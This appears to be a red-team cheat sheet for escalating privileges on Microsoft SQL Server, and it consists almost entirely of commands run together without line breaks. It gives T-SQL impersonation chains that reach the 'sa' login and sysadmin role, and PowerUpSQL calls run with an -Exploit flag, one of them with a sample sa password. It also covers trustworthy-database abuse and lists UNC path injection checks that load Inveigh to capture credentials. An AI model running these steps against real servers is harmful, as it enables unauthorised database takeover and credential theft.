MSSQL - Audit Checks

contents

mssql-audit-checks.md

Summary#

Impersonation Opportunities
- Exploiting Impersonation
- Exploiting Nested Impersonation
Trustworthy Databases

Impersonation Opportunities#

Impersonate as: EXECUTE AS LOGIN = 'sa'
Impersonate dbo with DB_OWNER

SQL> select is_member('db_owner');SQL> execute as user = 'dbo'SQL> SELECT is_srvrolemember('sysadmin')

Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose# impersonate sa accountpowerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug

Exploiting Impersonation#

SELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')EXECUTE AS LOGIN = 'adminuser'SELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')SELECT ORIGINAL_LOGIN()

Exploiting Nested Impersonation#

SELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')EXECUTE AS LOGIN = 'stduser'SELECT SYSTEM_USEREXECUTE AS LOGIN = 'sa'SELECT IS_SRVROLEMEMBER('sysadmin')SELECT ORIGINAL_LOGIN()SELECT SYSTEM_USER

Trustworthy Databases#

Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases

The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

Invoke-SQLAuditPrivXpDirtreeInvoke-SQLUncPathInjectionInvoke-SQLAuditPrivXpFileexist